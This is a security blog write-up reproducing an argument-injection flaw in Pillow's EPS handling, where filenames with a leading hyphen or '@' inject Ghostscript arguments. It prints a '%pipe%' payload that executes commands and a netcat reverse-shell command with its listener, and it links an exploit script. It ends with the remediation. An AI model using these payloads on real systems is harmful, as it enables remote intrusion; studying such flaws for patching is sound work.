October 25, 2026
Deconstructing CVE 2026–112900: Argument Injection to RCE in Python’s Pillow Library
By: Kavin Jindal

By Avyukt Security
5 min read
Recently, three critical vulnerabilities were discovered in Pillow, which is a popular Python library used for image processing and manipulation. The CVEs are documented as CVE 2026–112900, 2026–112393, and CVE–2026–112403, with the first one based on argument injection and the rest based on buffer overflow. It has a 9.2 CVSS rating with CWE-88.
Out of sheer curiosity, I tried reproducing CVE 2026–112900 on my local machine, which is about an argument injection vulnerability in the way Ghostscript handles input file paths specifically for the EPS image format. That injection vulnerability can lead to remote code execution as well. In this write-up I will give a detailed breakdown of the vulnerability.
The official advisory for CVE 2026–112900 is linked here.
Attack Cycle
- The EPS image file is named with a leading hyphen or @ symbol (example:
-h.epsor@h.eps) - It is loaded in the Pillow library via
im = Image.open(file)andim.load(). - The filename is passed as an input to the EPS loader of PIL which processes it as
fp.namewhich is the vulnerable code. fp.nameis later passed to Ghostscript which interprets the leading hyphen as an argument when being executed viasubprocessin Python.- If the filename is modified to begin with @ (eg. @image.eps) then additional arguments and commands can be executed from a different file which can also lead to remote code execution.
What is EPS?
Before we move on to the vulnerability, it's important to briefly cover EPS (Encapsulated PostScript), a vector graphics format mainly used for professional and industrial-level printing of high-resolution images. It was developed somewhere in the 80s by Adobe and is still used today.
EPS files use PostScript which is a page description programming language built by Adobe specifically for printing. There was a huge problem with configuring documents for different formats for printing because every computer and printer used its own custom format which led to broken text and design in the documents. To solve this issue, PostScript was developed, which described the entire design and look of the image or the document using mathematical instructions.
Every EPS file has a PostScript header. For example:
What is GhostScript?
Ghostscript is a form of interpreter used to process and render PostScript files. Python's Pillow Library uses GhostScript to work with .eps files.
Demonstration of Argument Injection in GhostScript
- I started by downloading a sample EPS image from an online source and named it
picture.eps
- I renamed the file to
-v.epsto demonstrate argument injection. This would return the version information of Ghostscript upon execution. - I wrote a very basic Python script to load the image.
from PIL import Image
im = Image.open("-v.eps")
try:
im.load()
except Exception as e:
print(e)from PIL import Image
im = Image.open("-v.eps")
try:
im.load()
except Exception as e:
print(e)- I ran the file and got the following output
As we can see, it shows the version information, which clearly demonstrates the vulnerability in how Pillow invokes Ghostscript.
I took a look at Pillow's source code to get a better understanding.
Ghostscript is invoked for EPS images in the EpsImagePlugin.py file in Pillow.
Inside the GhostScript() function, there's an if-statement where the filename is loaded.
infile is then passed to command which is a list containing command-line arguments that will be executed to process the EPS image.
The command list will then be passed to subprocess.check_call() for execution.
Remote Code Execution
With further modifications in our approach, we can also execute additional arguments and commands on the system. It can be achieved by using two files, with one file containing the EPS image and the other containing commands to be executed.
- To demonstrate this, I created two files:
@image.epsimage.eps@image.epsis the one that contains the PostScript code and is passed as an input to the Pillow library.- The significance of @ here lies in how Ghostscript interprets the usage of that argument.
@<file>is not a filename and instead @ is a prefix here which indicates to read additional instructions from the file referenced in<file>. - In
image.epsI wrote the following instructions which will execute theidcommand.
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice- The above code was taken from the official GitHub advisory linked above. Here
-sOutputFileis a Ghostscript command line argument which sets the output filename or output destination. Here%pipe%is a Ghostscript-specific syntax to direct output to a command. - Everything after the
-cargument is interpreted as PostScript code which contains rendering and output settings
I had modified the Python script to load the @image.eps image. Upon executing it, the following output was obtained which confirmed RCE.
All the user IDs on the system were shown in the output.
Gaining a Reverse Shell
- I wanted to take this vulnerability to the next step by thinking like an adversary and gaining a reverse shell.
- I decided to use Netcat to spawn a reverse shell on my listener and remotely execute commands on the device.
- I modified
image.epsto contain the following reverse shell payload.
- I used the following reverse shell payload.
nc 192.168.91.128 1234 -e /usr/bin/shnc 192.168.91.128 1234 -e /usr/bin/sh- Because using whitespace in the command returned errors, I used the Internal Field Separator, which shell uses for word splitting in commands.
- I started a listener on port
1234via netcat and executed the Python script file as follows.
nc -lvnp 1234nc -lvnp 1234
- The Python script loaded the
@image.epsfile which consequently led to the loading ofimage.epsby Ghostscript. - I had successfully achieved RCE on the listener! I could now execute shell commands easily, as demonstrated below.
I even wrote a proper end-to-end exploit script that weaponized the argument injection vulnerability into an arbitrary command execution payload by staging an EPS image and a PostScript file to spawn a reverse shell. You can check it out on GitHub below.
GitHub - kavin-jindal/CVE-2026-112900: Proof of Concept (PoC) demonstrating Argument Injection in… Proof of Concept (PoC) demonstrating Argument Injection in Pillow's Ghostscript call (Pillow < 13.0.0) potentially…
Remediation
The root cause of this particular CVE rested in how Pillow invoked Ghostscript to process the input file. The fix was to consider the absolute file path of the EPS image instead of the filename via os.path.abspath(fp.name) instead of using fp.name in the command input. This ensures that the input file will always begin with the root file path, instead of a malicious hyphen or at-sign. The fix was applied to Pillow v13.0.0, and all preceding versions of the package are to be considered vulnerable.